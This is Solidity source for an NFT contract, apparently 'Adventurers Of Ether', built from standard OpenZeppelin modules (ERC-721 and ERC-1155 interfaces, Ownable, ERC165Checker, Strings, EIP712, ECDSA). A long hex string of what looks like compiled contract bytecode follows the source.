require( msg.sender == _owner || isApprovedForAll(_owner, msg.sender), "erc-721: not owner nor approved" ); operatorApprovals[_tokenId] = _to; emit Approval(_owner, _to, _tokenId); } /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 _tokenId) public view returns (address _operator) { require(exists(_tokenId), "erc-721: nonexistent token"); _operator = operatorApprovals[_tokenId]; } /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address _operator, bool _approved) external { require(msg.sender != _operator, "erc-721: approve to caller"); forallApprovals[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return forallApprovals[_owner][_operator]; } /** * @dev IERC721Metadata Returns the token collection name. */ function name() external pure returns (string memory) { return NAME; } /** * @dev IERC721Metadata Returns the token collection symbol. */ function symbol() external pure returns (string memory) { return SYMBOL; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; import "../utils/introspection/IERC165.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165Checker.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Library used to query support of an interface declared via {IERC165}. * * Note that these functions return the actual result of the query: they do not * `revert` if an interface is not supported. It is up to the caller to decide * what to do in these cases. */ library ERC165Checker { // As per the EIP-165 spec, no interface should ever match 0xffffffff bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; /** * @dev Returns true if `account` supports the {IERC165} interface, */ function supportsERC165(address account) internal view returns (bool) { // Any contract that implements ERC165 must explicitly indicate support of // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid return _supportsERC165Interface(account, type(IERC165).interfaceId) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } /** * @dev Returns true if `account` supports the interface defined by * `interfaceId`. Support for {IERC165} itself is queried automatically. * * See {IERC165-supportsInterface}. */ function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { // query support of both ERC165 as per the spec and support of _interfaceId return supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } /** * @dev Returns a boolean array where each value corresponds to the * interfaces passed in and whether they're supported or not. This allows * you to batch check interfaces for a contract where your expectation * is that some interfaces may not be supported. * * See {IERC165-supportsInterface}. * * _Available since v3.4._ */ function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool[] memory) { // an array of booleans corresponding to interfaceIds and whether they're supported or not bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length); // query support of ERC165 itself if (supportsERC165(account)) { // query support of each interface in interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]); } } return interfaceIdsSupported; } /** * @dev Returns true if `account` supports all the interfaces defined in * `interfaceIds`. Support for {IERC165} itself is queried automatically. * * Batch-querying can lead to gas savings by skipping repeated checks for * {IERC165} support. * * See {IERC165-supportsInterface}. */ function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) { // query support of ERC165 itself if (!supportsERC165(account)) { return false; } // query support of each interface in _interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } // all interfaces supported return true; } /** * @notice Query if a contract implements an interface, does not check ERC165 support * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return true if the contract at account indicates support of the interface with * identifier interfaceId, false otherwise * @dev Assumes that account contains a contract that supports ERC165, otherwise * the behavior of this method is undefined. This precondition can be checked * with {supportsERC165}. * Interface identification is specified in ERC-165. */ function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { bytes memory encodedParams = abi.encodeWithSelector(IERC165.supportsInterface.selector, interfaceId); (bool success, bytes memory result) = account.staticcall{gas: 30000}(encodedParams); if (result.length < 32) return false; return success && abi.decode(result, (bool)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol) pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; address private immutable _CACHED_THIS; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _CACHED_THIS = address(this); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } }
0x6080604052600436106103085760003560e01c80637c88e3d91161019a578063c87b56dd116100e1578063efd0cbf91161008a578063f46eccc411610064578063f46eccc41461099f578063f76f8d78146109cc578063fd88fa69146109fb57600080fd5b8063efd0cbf91461094c578063f0f442601461095f578063f2fde38b1461097f57600080fd5b8063db398744116100bb578063db39874414610899578063e985e9c5146108b9578063eccec5a81461090357600080fd5b8063c87b56dd1461084e578063d408234b1461086e578063d5abeb011461088357600080fd5b8063a22cb46511610143578063aa767a8c1161011d578063aa767a8c146107fb578063b88d4fde1461080e578063c2eaa5391461082e57600080fd5b8063a22cb4651461073e578063a3f4df7e1461075e578063a3fd2c44146107a757600080fd5b8063930556141161017457806393055614146106d157806395d89b41146106f1578063971a90911461071d57600080fd5b80637c88e3d91461065e5780637d5dea17146106935780638da5cb5b146106b357600080fd5b80632f745c591161025e5780636352211e116102075780636ff86162116101e15780636ff86162146105fd57806370a0823114610612578063715018a61461064957600080fd5b80636352211e1461059d5780636c19e783146105bd5780636f8b44b0146105dd57600080fd5b80634f558e79116102385780634f558e791461053e5780634f6ccce71461055e57806361d027b31461057c57600080fd5b80632f745c59146104f057806342842e0e146104d05780634aa230211461051057600080fd5b8063095ea7b3116102c05780631eb92fed1161029a5780631eb92fed1461048f578063238ac933146104af57806323b872dd146104d057600080fd5b8063095ea7b31461043857806318160ddd1461045a578063199d08191461046f57600080fd5b806306c2e4e4116102f157806306c2e4e41461038357806306fdde03146103b1578063081812fc1461040057600080fd5b806301ffc9a71461030d57806304b1b2c214610342575b600080fd5b34801561031957600080fd5b5061032d610328366004612e38565b610a2b565b60405190151581526020015b60405180910390f35b34801561034e57600080fd5b5061036261035d366004612e62565b610ae3565b6040805167ffffffffffffffff938416815292909116602083015201610339565b34801561038f57600080fd5b506103a361039e366004612e62565b610b1f565b604051908152602001610339565b3480156103bd57600080fd5b5060408051808201909152601481527f416476656e747572657273204f6620457468657200000000000000000000000060208201525b6040516103399190612ea7565b34801561040c57600080fd5b5061042061041b366004612e62565b610be6565b6040516001600160a01b039091168152602001610339565b34801561044457600080fd5b50610458610453366004612eef565b610c5f565b005b34801561046657600080fd5b506002546103a3565b34801561047b57600080fd5b5061045861048a366004612f1b565b610db2565b34801561049b57600080fd5b506104586104aa366004612f3d565b610e1f565b3480156104bb57600080fd5b5061177954610420906001600160a01b031681565b3480156104dc57600080fd5b506104586104eb366004612f8b565b610ecd565b3480156104fc57600080fd5b506103a361050b366004612eef565b610eed565b34801561051c57600080fd5b506103a361052b366004612fcc565b61177a6020526000908152604090205481565b34801561054a57600080fd5b5061032d610559366004612e62565b610f68565b34801561056a57600080fd5b506103a3610579366004612e62565b90565b34801561058857600080fd5b5061177f54610420906001600160a01b031681565b3480156105a957600080fd5b506104206105b8366004612e62565b610f88565b3480156105c957600080fd5b506104586105d8366004612fcc565b610faf565b3480156105e957600080fd5b506104586105f8366004612e62565b61101a565b34801561060957600080fd5b506104586110b8565b34801561061e57600080fd5b506103a361062d366004612fcc565b6001600160a01b03166000908152611775602052604090205490565b34801561065557600080fd5b5061045861117d565b34801561066a57600080fd5b5061067e6106793660046130bf565b6111d1565b60408051928352602083019190915201610339565b34801561069f57600080fd5b5061067e6106ae3660046131f1565b611232565b3480156106bf57600080fd5b506000546001600160a01b0316610420565b3480156106dd57600080fd5b506104586106ec366004612fcc565b611413565b3480156106fd57600080fd5b506040805180820190915260038152624b4f4560e81b60208201526103f3565b34801561072957600080fd5b5061177b54610420906001600160a01b031681565b34801561074a57600080fd5b5061045861075936600461324f565b61157b565b34801561076a57600080fd5b506103f36040518060400160405280601481526020017f416476656e747572657273204f6620457468657200000000000000000000000081525081565b3480156107b357600080fd5b50611778546107d7906001600160801b03811690600160801b900463ffffffff1682565b604080516001600160801b03909316835263ffffffff909116602083015201610339565b61067e610809366004612f1b565b611641565b34801561081a57600080fd5b5061045861082936600461327d565b61183a565b34801561083a57600080fd5b506104586108493660046132e9565b61184c565b34801561085a57600080fd5b506103f3610869366004612e62565b611a01565b34801561087a57600080fd5b50610458611abb565b34801561088f57600080fd5b506103a360015481565b3480156108a557600080fd5b506104586108b4366004612f3d565b611b6a565b3480156108c557600080fd5b5061032d6108d436600461330e565b6001600160a01b0391821660009081526117776020908152604080832093909416825291909152205460ff1690565b34801561090f57600080fd5b506103f36040518060400160405280600581526020017f312e302e3000000000000000000000000000000000000000000000000000000081525081565b61067e61095a366004612e62565b611c1c565b34801561096b57600080fd5b5061045861097a366004612fcc565b611d6c565b34801561098b57600080fd5b5061045861099a366004612fcc565b611dd7565b3480156109ab57600080fd5b506103a36109ba366004612fcc565b60036020526000908152604090205481